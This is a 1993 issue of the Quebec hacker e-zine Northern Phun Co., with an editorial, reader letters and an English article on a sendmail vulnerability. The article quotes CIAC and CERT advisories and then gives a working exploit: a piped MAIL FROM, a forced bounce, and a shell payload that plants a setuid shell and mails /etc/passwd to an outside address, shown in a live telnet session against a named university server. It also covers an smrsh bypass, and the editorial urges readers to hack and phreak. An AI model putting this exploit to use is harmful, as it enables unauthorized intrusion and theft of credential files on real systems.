_____ ._______________________________. .___________________________ ._____ \_, \ | ____________ < ________. | | .______ )_____ \_, \ | __/ | \| o| / \ | | ) /\( | | __|__|_|__|_|__|_) / | | ) / | \| o| | . ` :|/ . \| |/ / ` | | \__________________/ | |/ / | . ` :| |: |\. / /| |: |\ \ |: | |. | | | |. | ____ |: |\ \ |: |\. | |o | | ( (_| |o | \ \ |o | |o | | | |o |/ __/ |o | \ \ |o | | | |__| | \__\___| | \ > | | |__| | | |_ ' / | | \ >|__| | | \ | | / \/ | / \ | \ | | / \/ \ | \| |/ |/ \| \| |/ \| : : : : : : : _____________. .__. ._______ ._____ ___________ \______ ) | | | | ._. \ | __/ \______ ) __ __| |_) / |_|__|_/\ | o| | \| o| | | ) / / \ \_, .___/| .______ \| :| | . ` :| | | \_/ / , \ |: | |: | | |/ /| | |: |\ | |: | ___/. /| \ |o | |o | | / (_| | |o | \ | __|o |_) (o (_| ) _ | | |__| | <_________>|__| | | \_, _____\__\___/ (_) | / \ | \ | | / |/ \| \| |/ : : : : askee & shit by MENTAL FL0SS Dans ce douziŠme num‚ro de NPC: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ú : | - -ÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ- - - ú ³ +:SUJET:+ ³ +:AUTEUR:+ ³ ³ú - -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ú - -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Table des matiŠres / Disclaimer ³ -=ThE PoSSe=- ³ ³ ditorial de NPC #12 ³ Atreid Bevatron ³ ³ The postman always quote twice ³ Votre Courrier ³ ³ MISCialliniiiooouss about SendMail ³ Gurney Halleck ³ ³ LLC ‡a s'en vient ³ Santa Claus ³ ³ Mac et moi, the story so far... ³ The Shaman ³ ³ Les yeux en compote sur Mind Machine³ Atreid Bevatron ³ ³ LLC, tout sur le systŠme ³ Blitzkreig ³ ³ The state of Hacking in Quebec City ³ Gurney Halleck ³ ³ Ce que WIRED n'a pas publi‚ ³ Blitzkreig ³ ³ Phrack m'intronise... ³ Gurney Halleck ³ ³ Read the news... | Paranoid+The PoSSe ³ - ú-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ | : ú NPC are: Officiers Collaborateurs Blitzkreig M‚phisto Gurney Halleck Paranoid Atreid Bevatron The Shaman The SubHuman Punisher Marc Blanchet Santa Claus Greets: Merlin L'Emmerdeur (Sniff! Tout le monde a hƒte au mois prochain...) Genghis Dan (Rave Hard...) Funk Lord (Ton maudit Bourbonnais est difficile … contacter!!!) Criminal Mind (Soit damn‚, jeune CRACKER inconscient!) Mental Floss (Envoie-moi tes buncers dans 3 semaines... ;] ) KBM (Un bel effort sans pr‚tention... ;-) ) DISCLAIMER - AVERTISSEMENT Ce magazine n'est pas recommand‚ aux gens qui portent un Pacemaker, aux ƒmes sensibles, et aux moralisateurs. Tenez-vous le pour dit, et abstenez-vous! Ceci va probablement ˆtre le disclaimer le plus long de l'histoire des magazines underground car, sur les conseils de gens g‚n‚ralement bien vers‚s dans le domaine (vous savez que les avocats r‚clament 150$ de l'heure? Chi‚!) une mise au point exhaustive doit ˆtre faite avant de vous permettre de poursuivre votre lecture (et non pas de poursuivre Northern Phun Co.: vous ˆtes pas dr“les!). 1) Tous les articles de ce magazine ne sont publi‚s qu'… titre d'information. L'application de une ou des technique(s) expliqu‚e(s) dans ces pages peuvent entraŒner la mort, des blessures s‚rieuses, l'impuissance, la perte de votre virginit‚, des poursuites judiciaires embˆtantes, le bris de votre ordinateur, la nomination de Camil Samson … la tˆte du Parti Lib‚ral ou, pire encore, vous pourriez devenir comme vos parents! 2) Northern Phun Co., qui est un organisme … but non-lucratif, avec une vocation quasiment philanthropique, ne sera en aucun temps tenu pour responsable de l'irresponsabilit‚ des auteurs qui publient des articles dans ces pages. L'entiŠre responsabilit‚, et la preuve de la v‚racit‚ desdits articles, revient aux auteurs. On est mal parti, l…, les enfants... 3) Les officiers clairement identifi‚s de Northern Phun Co. sont seuls habilit‚s … parler au nom du groupe, et NPC ne serait ˆtre tenu pour responsable de la conduite (ou de l'inconduite) des collaborateurs de NPC sur les babs de la planŠte Terre. De plus, seuls les textes des officiers de Northern Phun Co. sont v‚rifi‚s pour leur exactitude. 4) La lecture de Northern Phun Co., quoique r‚jouissante, peut entraŒner aussi des problŠmes de sant‚ mentale et des cas de pilosit‚ manuelle (comme pour la masturbation). 5) Northern Phun Co accepte, … priori, de publier tous les textes touchant au H/P/C/A/V-et-le-reste qui lui seront soumis. NPC refusera, par contre, tout texte encourageant la discrimination d'une ou des personne(s) en fonction de leur origines ethniques, de leur religion ou de leur sexe. Si vous voulez bouffer du nŠgre, engagez-vous plut“t dans la police... 6) Northern Phun Co. tient … rappeler … ses lecteurs qu'il faut soigneusement se brosser les dents aprŠs chaque repas. Et n'oubliez pas la soie dentaire! Est-ce que ‡a suffit l…? O— nous rejoindre? ------------------ D– la nature "volatile" de notre produit, les babs qui nous supportent le sont tout aussi. Ceci dit, vous avez toutes les chances de pogner un des officiers de NPC sur les babs PUBLICS suivants (on pousse la perversion jusque l…!). Light BBS : 418-651-5664 Black Palace : 418-831-1602 The Cannibal Cookhouse : 418-657-4442 Terminus (Baie-Comeau ) : 418-295-2854 OverBoard (Sherbrooke) : 819-569-7239 Un beau fou de Drummondville nous a consacr‚ son babillard. Ouvrez grands vos yeux! Si vous savez compter, ‡a fait -7- nodes! La Station: 819-474-8010 6158 7601 2016 7475 1816 5239 Il y a aussi un bab qui vous offre une messagerie anonyme pour NPC, comme au bon vieux temps de M‚dic! The Inferno: 418-647-2731 Si votre babillard public (hors 418) d‚sire ouvrir une section NPC, n'h‚sitez pas … nous contacter. C'est gratuit! Nous sommes aussi (naturellement) sur les boards pirates de Qu‚bec. En fait, sur Workshop, il y a tous les officiers de NPC qui prennent un bain de soleil... C'est comme qui dirait notre H.Q. underground. Nous ne publions plus de numero de VMB. D‚sol‚, mais on les perdait … mesure qu'on les publiait, alors... Un coup des coches, je suppose... Nous avons aussi une adresse Internet pour e-mail: npc@sietch.ci.net Et si malgr‚ tout ‡a vous n'ˆtes pas capable de nous rejoindre, appelez l'Arm‚e du Salut, et demandez Roger... ----------------------------------------------------------------- úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú ----------------------------------------------------------------- 1er d‚cembre 1993 DITORIAL 12 par Atreid Bevatron Lors de la premiŠre parution de NPC et durant les cinq ou six parutions qui ont suivi, vous, gens de la r‚gion de Qu‚bec (418), ne vous ˆtes pas gˆn‚s pour nous lancer des commentaires. Certains ‚taients positifs, quelques autres n‚gatifs (maintenant … peu prŠs inexistants, je parle des n‚gatifs), mais l… n'est pas la question. La question est que vous r‚agissiez. Que se passe-t-il dans la belle r‚gion de Qu‚bec depuis quelques mois? En fait, il ne se passe rien. La scŠne est morte alors? Justement pas, elle n'est pas morte malgr‚ cela. La scŠne est bel et bien en vie, mais ce, sans que personne ne le sache. Qu'est devenue cette belle communication entre tous? Elle est devenu pratiquement inexistante. Pourtant, ce n'est justement pas d– au fait que NPC est d‚laiss‚, bien au contraire, nous constatons une trentaine de downloads sur chacun de nos distros … chaque num‚ro. Je ne parle pas du nombre de downloads … vie, mais bien du nombre dans la semaine qui suit chaque parution. Tout ‡a, c'est sans compter tous les endroits o— NPC est upload‚ et download‚ sur les autres babillards non-NPC. NPC est l…, comme vous le savez tous, et est l… pour durer, je crois que vous vous en ˆtes tous rendu compte. Vous connaissez le journal VOIR? Probablement oui. Il s'agit d'un journal gratuit, lu par un grand nombre d'‚tudiants, dans les CEGEPs et les universit‚s et par beaucoup de gens int‚ress‚s par les arts et spectacles. VOIR n'est pas que cela, mais ma description s'arrˆtera l…. Les gens du journal VOIR savent qu'ils sont lus, savent combien de personnes environ les lisent. Ils publient, les gens lisent, et le reste, on s'en tape et ils s'en tapent je dirais. (Attention, je ne dis pas que le journal VOIR est un mauvais journal. Il est au contraire excellent!) NPC n'est pas le journal VOIR. Vous avez tous lu mon ‚ditorial dans le num‚ro 11? L'id‚e de communaut‚, de philosophie et d'art de vivre cybern‚tique. Voil… ce que NPC veut promouvoir. Comme le journal VOIR, NPC est gratuit, nous savons environ combien de personnes nous lisent … Qu‚bec, mais contrairement au journal VOIR (je me trompe peut-ˆtre), le reste on ne s'en tape pas. Nous voulons qu'il existe une communication, mˆme une sorte de complicit‚ entre tous les lecteurs de NPC. (Gens de la GRC, s'abstenir...) (Quoiqu'il pourrait ˆtre int‚ressant de... comparer nos points de vue... :] ) La scŠne, comme je le disais, semble morte. Elle n'est toutefois pas morte, mais simplement silencieuse. Je vous ai dit combien de personnes downloadaient NPC chaque mois. Dans ce nombre, il y en a forc‚ment une vingtaine, voir une trentaine que nous ne connaissons pas, qui ne lisent pas NPC que par curiosit‚, mais bien pour en appliquer les pratiques (Je ne parle que de la r‚gion de Qu‚bec!). Je parle d'une trentaine de personnes qui, semble-t-il, n'ont aucun contact avec l'underground ou qui peut-ˆtre d‚sirent simplement agir dans la confidentialit‚ de leur foyer. Je vous le dis, … vous, qui vous acharnez malgr‚ le fait que vous n'avez … peu prŠs aucun contact avec nous ou avec l'underground, vous qui avez confiance en vous mˆme et en vos propres ressources, je vous dis joignez nos rangs!, ou du moins signalez votre pr‚sence. Je ne suis pas en train d'offrir un poste comme officier de NPC; ce que je veux vous dire, c'est qu'en chacun de vous r‚side peut-ˆtre un pirate remarquable et chevronn‚. C'est de gens comme vous que la scŠne a besoin, pas des grosses tˆtes vides qui peuplent les bbs pirates depuis quelques temps. La scŠne n'a pas besoin de poseurs sans connaissance et sans talent qui font semblant d'ˆtre int‚ress‚s, mais bien de gens dont l'intention premiŠre est de d‚velopper leurs comp‚tences et leurs connaissances. Oui, … vous je dis regroupez-vous et montrez ce que vous savez faire; pas pour vous montrer vous-mˆmes, mais pour faire profiter de votre savoir la communaut‚ underground. NPC a ‚volu‚ et nous sommes maintenant lus … travers le Qu‚bec, le Canada, les tats-Unis et mˆme dans certaines parties d'Europe. Nous nous faisons connaŒtre de plus en plus … chaque num‚ro et avec l'avŠnement de LLC, notre distribution se fera … l'‚chelle mondiale; comme les CUDs et les PHRACK que vous connaissez. Nous recevons d'ailleurs plusieurs lettres d'un peu partout. Je ne suis pas en train de dire que nous allons surpasser Phrack ou CUD ou quoique ce soit. Nous sommes des mags diff‚rents avec des contenus diff‚rents et de toutes fa‡ons, la question n'est pas l…... O— je veux en venir? Je veux dire que malgr‚ le fait que, possiblement, NPC devienne effectivement r‚pendu … l'‚chelle mondial, la r‚gion 418 de Qu‚bec continuera pour nous d'ˆtre une importante source d'occupation et d'int‚rˆt et qu'elle continuera toujours de nous tenir … coeur par dessus tout. Ce qui s'y passe nous tient donc … coeur, et ce que vous pensez tous aussi. Telle est la raison de mon appel au troupeau, au regroupement, … la communaut‚. Nous voulons nous regrouper avec des gens qui partagent les mˆmes int‚rˆts que nous et les mˆmes passions pour le monde cybern‚tique et les nouvelles technologies... A PREVIOUSLY UNKNOWN LIFESTYLE, c'est vrai depuis le d‚but, c'est encore vrai et ce le sera toujours. Vous, que nous ne connaissons pas encore, ‚tablissez ce contact! Rejoignez nos rangs! Nous pouvons ˆtre contact‚s sur n'importe lesquels de nos babillards publics ou priv‚s, ou par notre adresse Internet, bien s–r et ce, en tout temps... Hackez, Phreackez, performez, mais faites-le tous ensemble, en un seul rang, une seule arm‚e, une seule communaut‚... ----------------------------------------------------------------- úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú ----------------------------------------------------------------- VOTRE COURIER par The PoSSe #2991 ([Private]) [AREA: Private] Sent : 22-Nov-93 23:46 (Received on 23-Nov-93 23:21) From : Fvladimir Kroutchefv To : Blitzkreig Subj : LLC + NPC.. TrŠs cher monsieur, j'en viens maintenant … l'objet de ma lettre, … savoir la ~d‚mission~ de l'un de vos ‚diteurs THX 1138 est trŠs appreci‚ de la mis‚rable personne que je suis. Ses ‚crits me choquent et me r‚veillent.. Tant mieux, j'aime bien ˆtre r‚veill‚.. N'ayant pu le denicher sur aucun des babillard o— je vais, j'en suis r‚duit … vous quˆter une faveur, pour dire si cela me tient … coeur! Transmettez-lui, s'il vous plaŒt, mes sincŠres condol‚ances quand … son d‚couragement vis-…-vis de la faune babillardesque qu‚b‚coise.. J'espŠre le voir re-‚crire un jour et quand … moi, le plus t“t sera le mieux ! Sans lui, NPC ne sera plus le mˆme... Il disait que NPC ne comptait pour personne. que vos ‚crits ne comptent pas.. C'est faux.. vous avez jou‚ un r“le d‚terminant dans ma vie. De vous je n'attend pas de r‚ponse.. parce que je sais que je n'en aurai pas. De lui non plus parce qu'il ne me connaŒt pas et qu'il n'a probablement aucune envie de me connaŒtre... Si je suis le seul … protester contre sa disparition, et bien tant pis! Mais au moins aurais-je la conscience tranquille s'il re‡ois mon message.. Je ne demande rien d'autre. ~~~~ Remerciement sincŠres et gratitude, Fvladimir Kroutchefv [Atreid- Bien ‚videmment, nous gardons les portes ouvertes pour le retour de THX 1138, mais je sais qu'il est parti pour de bon... Et au fond je le comprends bien... Je l'ai toutefois contact‚ pour lui lire ta lettre. Je vais ‚crire son commentaire... C'est tout ce qu'il m'a dit … ce propos et la discussion a rapidement chang‚ imm‚diatement aprŠs.] [THX 1138- En effet, je n'ai aucune envie de te connaŒtre...] -------------------- "Message (NPC)" (Msg Public) #995 Date : 18-10-93 13:48 De : Zoltar A : All Sujet : Yo! Je v‚g‚tais un Dimanche soir pis au lieu de continuer … m'acharner sur mon travail de philosophie 301, j'me suis mis … caller au Black Palace (Nonon, c'pas une plogue!). Pour une trŠs rarissime fois, je r‚ussis … m'infiltrer sur ce bab de fa‡on exp‚ditive et d‚couvrir la section NPC qui s'y cache (faut le dire pour le croire...). Quelle ne fut pas ma stup‚faction et mon indignation bienheureuse de downloader votre mag... Une force subconsciente m'a dit avec g‚n‚rosit‚ que NPC ‚tait un groupe (quoique ‚norme!) qui ‚tait fou comme un balai! Les 3 longues heures que m'ont exig‚ l'impression de votre manuscrit n'ont certe pas ‚t‚ perdues. En vous lisant, je me suis dit: "Ma foi, ils se d‚battent comme des diables dans un jeu de quilles ceux-l…!" (Jean Perron, 90), quelle ‚quipe r‚volt‚e! Bref, continuez votre boulot comme vous l'entendez pis longue vie! J'vous dis merde … la puissance 13! J'ai rien d'autre … ajouter sauf d‚clarer mon c‚lŠbre proverbe: "Tout bon chr‚tien se doit de crisser son ‚ternel camp!"! A part de ‡a rien de sp‚cial... Zoltar (tm) Si jamais ca parait c'te message ben j'vas vous trouver ben comiques! [Atreid- Ben c'est ‡a! Trouve-nous ben comique! ;-)] [Santa- Puisses-tu m'expliquer le sens de ton "‚ternel" proverbe? Je serais combl‚ … la puissance 13... Merci quand mˆme pour ton "g‚n‚reux" commentaire.] -------------------- ----------------------------------------------------------------- úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú ----------------------------------------------------------------- The sendmail bug of the month club OR How to hack a Unix without even getting in. By: Gurney Halleck I was first made aware of the bug by an advisory notice of the CIAC, thanks guys. Over the years, sendmail has prouven itself a true friend for the hacker. The famous debug and wizard backdoor a couple of years ago and some recent ones. Today there is another one, and it's a good one. Read on, this was the first warning about the bug that I saw, it realy spiked my curiousity: _____________________________________________________ The Computer Incident Advisory Capability ___ __ __ _ ___ / | / \ / \___ __|__ /___\ \___ _____________________________________________________ ADVISORY NOTICE (1) Security vulnerability in sendmail under SunOS 4.1.x and 5.x (2) Security vulnerability in tar under SunOS 5.x (3) Potential misuse of Sun microphones October 21, 1993 1130 PDT Number E-01 __________________________________________________________________________ (1) Security vulnerability in sendmail under SunOS 4.1.x and 5.x PROBLEM: Remote users may access system files using sendmail. PLATFORM: SunOS 4.1.x and SunOS 5.x (Solaris 2.x). DAMAGE: Unauthorized access to system files. SOLUTION: Apply appropriate patch from Sun. __________________________________________________________________________ Critical Information about Security Vulnerability in sendmail The /usr/lib/sendmail utility under SunOS 4.1.x and SunOS 5.x permits unauthorized access to some system files by remote users. This access may allow compromise of the system. Note that this vulnerability is being actively exploited. CIAC strongly recommends that sites take immediate corrective action. Sun Microsystems has released patched versions of the sendmail program for all affected versions of SunOS: BSD SVR4 System Patch ID Filename Checksum Checksum ----------- --------- --------------- --------- ---------- SunOS 4.1.x 100377-07 100377-07.tar.Z 36122 586 11735 1171 SunOS 5.1 100840-03 100840-03.tar.Z 01153 194 39753 388 SunOS 5.2 101077-03 101077-03.tar.Z 49343 177 63311 353 The checksums shown above are from the BSD-based checksum (on SunOS 4.1.x, /bin/sum; on SunOS 5.x, /usr/ucb/sum) and from the SVR4 version that Sun has released on SunOS 5.x (/usr/bin/sum). Individuals with support contracts may obtain these patches from their local Sun Answer Center or from SunSolve Online. Security patches are also available without a support contract via anonymous FTP from ftp.uu.net (IP 192.48.96.9) in the directory /systems/sun/sun-dist. ----------------------------------------------------------------------------- Not much detail, but just enough to know where to start looking, so I did. I took me a while and I had to read this next posting and download the fixes and study them before getting it. It wasn't easy. ============================================================================= CA-93:16 CERT Advisory November 4, 1993 Sendmail Vulnerability ----------------------------------------------------------------------------- The CERT Coordination Center is working on eliminating a vulnerability in sendmail(8). This vulnerability potentially affects all systems running sendmail. CERT is working with the vendor community to address this vulnerability. At this time, there are no known patches available for any vendor implementation that fully address this vulnerability. Until there is complete vendor information, CERT recommends that all implementations of sendmail be considered susceptible. This advisory supersedes the sendmail portion of the CERT advisory (CA-93:15) of October 21, 1993. CERT will continue to work with the vendors and will alert the community when patches become available. Included with this advisory is an appendix describing tips that can be used by system administrators who are concerned about the possible exploitation of this vulnerability at their site. ----------------------------------------------------------------------------- I. Description A vulnerability exists in most versions of sendmail that allows unauthorized remote or local users to execute programs as any system user other than root. This vulnerability affects the final destination sendmail host and can be exploited through an intermediate mail machine. Therefore, all sendmail recipient machines within a domain are potentially vulnerable. II. Impact Anyone (remote or local) can execute programs on the affected hosts as any userid other than root. III. Approaches CERT suggests three possible approaches to this problem. Although these approaches address all known aspects of this vulnerability, they are suggested only until vendor patches for this sendmail vulnerability are available. Familiarity with sendmail and its installation and configuration, is recommended before implementing these modifications. In order to protect your entire site it is necessary to apply the selected approach to *ALL* systems running sendmail at the site, and not just the mail hub. A. Approach 1 This approach involves modifying the sendmail configuration to restrict the sendmail program mailer facility. To restrict sendmail's program mailer facility, obtain and install the sendmail restricted shell program (smrsh 1.2) by Eric Allman (the original author of sendmail), following the directions included with the program. 1. Where to obtain the program Copies of this program may be obtained via anonymous FTP from info.cert.org, in the /pub/tools/smrsh directory, or via anonymous FTP from ftp.uu.net in the /pub/security/smrsh directory. Checksum information: BSD Sum 30114 5 README 25757 2 smrsh.8 46786 5 smrsh.c System V Sum 56478 10 README 42281 4 smrsh.8 65517 9 smrsh.c MD5 Checksum MD5 (README) = fc4cf266288511099e44b664806a5594 MD5 (smrsh.8) = 35aeefba9714f251a3610c7b1714e355 MD5 (smrsh.c) = d4822ce7c273fc8b93c68e39ec67739c 2. Impacts of this approach While this approach allows a site to specify which programs can be run by sendmail (e.g. vacation(1)), attempts to invoke programs that are not included in the allowed set, or attempts using shell meta-characters (see smrsh program listing for a complete set of disallowed characters), will fail, resulting in log output to the syslog(3) facility. Programs that are specified in a site's /etc/aliases file should be considered for inclusion in the allowable program list. Since .forward files allow user-specified programs to be run by sendmail, a survey of the contents of the system's .forward files may be required to prevent failure to deliver user mail. *** WARNING *************************************************** * It is very important that sites *NOT* include interpreter * * programs (e.g. /bin/sh, /bin/csh, /bin/perl, /bin/uudecode, * * /bin/sed, ...) in the list of allowed programs. * *************************************************************** B. Approach 2 Like approach 1, this approach involves modifying the sendmail configuration. However, this approach completely disables the sendmail program mailer facility. This is a drastic, but quick action that can be taken while a site installs one of the other suggestions. Before implementing this approach, save a copy of the current sendmail configuration file. To implement this approach edit the sendmail.cf file: change from: Mprog, P=/bin/sh, F=slFDM, S=10, R=20, A=sh -c $u to: Mprog, P=/bin/false, F=, S=10, R=20, A= Any changes to the sendmail.cf file will require that the sendmail process be restarted to ensure that the new configuration is used. See item 3 in Appendix A for more details. 1. Impacts of this approach Attempts to invoke programs through sendmail will not be successful. C. Approach 3 To the best of our knowledge, Eric Allman's public domain implementation of sendmail, sendmail 8.6.4, does not appear to be susceptible to this vulnerability. A working solution would then be to replace a site's sendmail, with sendmail 8.6.4. 1. Where to obtain the program Copies of this version of sendmail may be obtained via anonymous FTP from ftp.cs.berkeley.edu in the /ucb/sendmail directory. Checksum information: BSD Sum sendmail.8.6.4.base.tar.Z: 07718 428 sendmail.8.6.4.cf.tar.Z: 28004 179 sendmail.8.6.4.misc.tar.Z: 57299 102 sendmail.8.6.4.xdoc.tar.Z: 33954 251 System V Sum 64609 856 sendmail.8.6.4.base.tar.Z 42112 357 sendmail.8.6.4.cf.tar.Z 8101 203 sendmail.8.6.4.misc.tar.Z 50037 502 sendmail.8.6.4.xdoc.tar.Z MD5 Checksum MD5 (sendmail.8.6.4.base.tar.Z) = 59727f2f99b0e47a74d804f7ff654621 MD5 (sendmail.8.6.4.cf.tar.Z) = cb7ab7751fb8b45167758e9485878f6f MD5 (sendmail.8.6.4.misc.tar.Z) = 8eaa6fbe9e9226667f719af0c1bde755 MD5 (sendmail.8.6.4.xdoc.tar.Z) = a9da24e504832f21a3069dc2151870e6 2. Impacts of this workaround Depending upon the currently installed sendmail program, switching to a different sendmail may require significant effort for the system administrator to become familiar with the new program. The site's sendmail configuration file may require considerable modification in order to provide existing functionality. In some cases, the site's sendmail configuration file may be incompatible with the sendmail 8.6.4 configuration file. --------------------------------------------------------------------------- The CERT Coordination Center wishes to thank the members of the following response teams for their assistance in analyzing and testing both the problem and the solutions: SERT, ASSIST, CIAC, and DFN-CERT. CERT would especially like to thank Eric Allman, Matt Blaze, Andy Sherman, Gene Spafford, Tim Seaver, and many others who have provided technical assistance with this effort. --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in Forum of Incident Response and Security Teams (FIRST). Internet E-mail: cert@cert.org Telephone: 412-268-7090 (24-hour hotline) CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 Past advisories, information about FIRST representatives, and other information related to computer security are available via anonymous FTP from info.cert.org. Appendix A This appendix describes tips that can be used by system administrators who are concerned about the possible exploitation of this vulnerability at their site. There are two actions that can be taken by system administrators to try to detect the exploitation of this vulnerability at their sites. - Examine all bounced mail to look for unusual occurrences. - Examine syslog files for unusual occurrences of "|" characters In order to do this, sendmail must be configured to direct bounced mail to the postmaster (or other designated person who will examine the bounced mail). Sendmail must also be configured to provide adequate logging. 1) To direct bounced mail to the postmaster, place the following entry in the options part of the general configuration information section of the sendmail.cf file. # Cc my postmaster on error replies I generate OPpostmaster 2) To set sendmail's logging level, place the following entry in the options part of the general configuration information section of the sendmail.cf file. Note that the logging level should be 9 or higher in order to provide adequate logging. # log level OL9 3) Once changes have been made in the sendmail configuration file, it will be necessary to kill all existing sendmail processes, refreeze the configuration file (if needed - see the note below), and restart the sendmail program. Here is an example from SunOS 4.1.2: As root: # /usr/bin/ps -aux | /usr/bin/grep sendmail root 130 0.0 0.0 168 0 ? IW Oct 2 0:10 /usr/lib/sendmail -bd -q # /bin/kill -9 130 (kill the current sendmail process) # /usr/lib/sendmail -bz (create the configuration freeze file) # /usr/lib/sendmail -bd -q30m (run the sendmail daemon) **Note: Some sites do not use frozen configuration files and some do. If your site is using frozen configuration files, there will be a file named sendmail.fc in the same directory as the sendmail configuration file (sendmail.cf). ----------------------------------------------------------------------------- So, what it says is that all sites not running sendmail 8.6.4 are probably vulnerable to this bug, whatever there platform might be. As of this writting, I have not been able to confirme if Smail is vulnerable to this bug. Let's go ahead now with a description of the bug. What this bug does, is permit you to execute commands as uid deamon or whatever the sendmail delivers non-user as. You generaly can not obtain root priviliedges directly, but depending on the security of uid deamon you might be able to install trojans in the system to gain root. Here are the specifics: 1 The envelope From: field, or possibly the Errors-To: header(not tested), must be set to the pipe through a bounce of your mail will be returned. Typically this is executed by uid deamon. 2 An error must be caused in the message such that sendmail will send a bounce to the From: envelope (or possibly to Errors-To:). These two conditions are all that is necessary to exploit the bug. Typically the simplest thing to pipe to is |/usr/ucb/tail|/usr/bin/sh or |/usr/ucb/tail|/bin/sh That's for SunOS 4.1.3. Other systems may have tail in /usr/bin or /bin; the PATH is important in this case. Although any command interpreter would do, even awk or sed. Test the system to find out which commands and interpreters are reachable. The condition I have used to generate an error is an invalid Return-Receipt-To: header. There are a great number of other ways to do so, and some of them may depend on the specifics of the version of the sendmail. The last ten lines of your message should contain whatever you wish to do as uid deamon, such as: #!/bin/sh id | mail user@site.domain #let's find out if we're really UID deamon cp /bin/sh /tmp/.privshell #let's make our selves a priviledged shell chmod 4777 /tmp/.privshell cat /etc/passwd | mail user@site.domain # if you don't know what this ^ does, stop reading right now. cat /etc/group | mail user@site.domain # knowing the group configuration is always good. This assumes that /tmp is writable by uid deamon. It is highly unlikely that this is not the case. Let's see how it really works: -----------------cut here---------------------------------------------------- XXXXXX$ telnet roselin.dmi.usherb.ca 25 Trying ... Connected to roselin.DMI.USherb.CA Escape caracter is '^]'. 220 roselin.DMI.USherb.CA Sendmail 8.6.4/8.6.4 ready at Mon, 15 Nov 93 13:29:37 -0500 220 ESMTP spoken here quit 221 roselin.DMI.USherb.CA closing connection Connection closed by foreign host. [this site is secure, it runs Sendmail 8.6.4, let's try another] XXXXXX$ telnet spook.ee.mcgill.ca 25 Trying ... Connected to Spook.EE.McGill.CA Escape caracter is '^]'. 220 Spook.EE.McGill.CA Sendmail 4.1 ready at Mon, 15 Nov 93 13:31:12 EST [this site might be vulnerable if it hasn't been patched] helo 250 Spook.EE.McGill.CA Hello (XXXXXX.site.doamin), pleased to meet you. quit 221 Spook.EE.McGill.CA closing connection Connection closed by foreign host. [let's look around a bit more] XXXXXX$ telnet tornade.ere.umontreal.ca 25 Trying ... Connected to tornade.ERE.UMontreal.CA Escape caracter is '^]'. 220 tornade.ERE.UMontreal.CA Sendmail 920330.SGI/5.17 ready at Mon, 15 Nov 93 13:33:43 EST [silicon graphics, humm where is tail on a SGI anyway?] quit 221 tornade.ERE.UMontreal.CA closing connection Connection closed by foreign host. XXXXXX$ telnet gmc.ulaval.ca 25 Trying ... Connected to cartier.gmc.ulaval.ca Escape caracter is '^]'. 220 cartier.gmc.ulaval.ca Sendmail 4.1-SMI ready at Mon, 15 Nov 93 13:35:11 EST helo 250 cartier.gmc.ulaval.ca Hello (XXXXXX.site.domain), pleased to meet you MAIL FROM: |/usr/ucb/tail|/usr/bin/sh 250 |/usr/ucb/tail|/usr/bin/sh... Sender ok RCPT TO: pgaumond 250 pgaumond... Recipient ok DATA 354 Enter mail, end with "." on a line by itself From: YYYY@XXXXXX.site.domain (YYYY) to: YYYY@XXXXXX.site.doamin (YYYY) Return-Receipt-To: |foobar SubjectL This is quite a big hole in your security X-Disclaimer: NPC takes no responsability for what might happen Dear root, please plug up this hole as soon as possible. YYYY@XXXXXX.site.domain #!/bin/sh id | mail user@site.domain #let's find out if we're really deamon cp /bin/sh /tmp/.privshell #let's make our selves a priviledged shell chmod 4777 /tmp/.privshell cat /etc/passwd | mail user@site.domain # if you don't know what this ^ does, stop reading right now. cat /etc/group | mail user@site.domain # knowing the group configuration is always good. . 250 Ok quit 221 cartier.gmc.ulaval.ca closing connection Connection closed by foreign host. ----------------------------------cut here---------------------------------- See how easy it is? Now alot of sysadmins are going to go bezerk when reading this. If you had paid attention to the advisories you would not be in this predicament right now. Pay attention and do your job! Now the part for sysadmins: I have included the entire CERT advisory (CA-93:16) it gives some usefull advice, unfortunately it neglects the smrsh hole. * The best choise now appears to be to install sendmail 8.6.4, which seems to be immune to this bug. It can be obtained from ftp.cs.berkeley.edy in /ucb/sendmail, and probably elsewhere. * An additional FLAWED possibility is to install smrsh (sendmail restricted shell) on top of your current sendmail. smrsh is available from ftp.uu.net in /pub/tools/smrsh. smrsh replaces the prog mailer (typically /bin/sh) with itself, and it limits what programs it will pass input to. SMRSH ALONE IS NOT A SECURE SOLUTION Regarding smsrh, it is only as secure as you can make it. By specifying no programs, you might as well make the prog mailer /bin/false. By specifying everything, you might as well not have smsrh. The problem is the borderline: procmail and filter, two popular mail filtering programs (the later of which comes with elm. so you might not even be aware you have installed it), allow you to perform any command upon their input, and you can control what rules file they access from the command line. This means that an envelope From could be: MAIL FROM: /usr/local/bin/filter -f /tmp/filt and /tmp/filt, the elm filter rules file, could be: if always execute /usr/ucb/tail|/bin/sh and then you're back to square one, one a hacker discovers this. I don't think it's necessary to do another full example to convince you this time. I would just have to change the MAIL FROM: line in my telnet example adn this will work. It should be noted that the smrsh procmail/filter holes require the hacker to have write access to your machine in a place readable by uid deamon. Therefore, IF YOU USE AN UNMODIFIED SMRSH, YOUR SENDMAIL IS STILL VULNERABLE!!! What to do about the smrsh hole: * Remove procmail and filter from the smrsh allowable list. This has the unfortunate side effect of bouncing any mail to users who have these in their .forward files, as well as any other aliases (like in /etc/aliases) that use them. * Install Alexis Rosen's patch to smrsh, that restricts it to uis's greater than a specified number, such as 20. 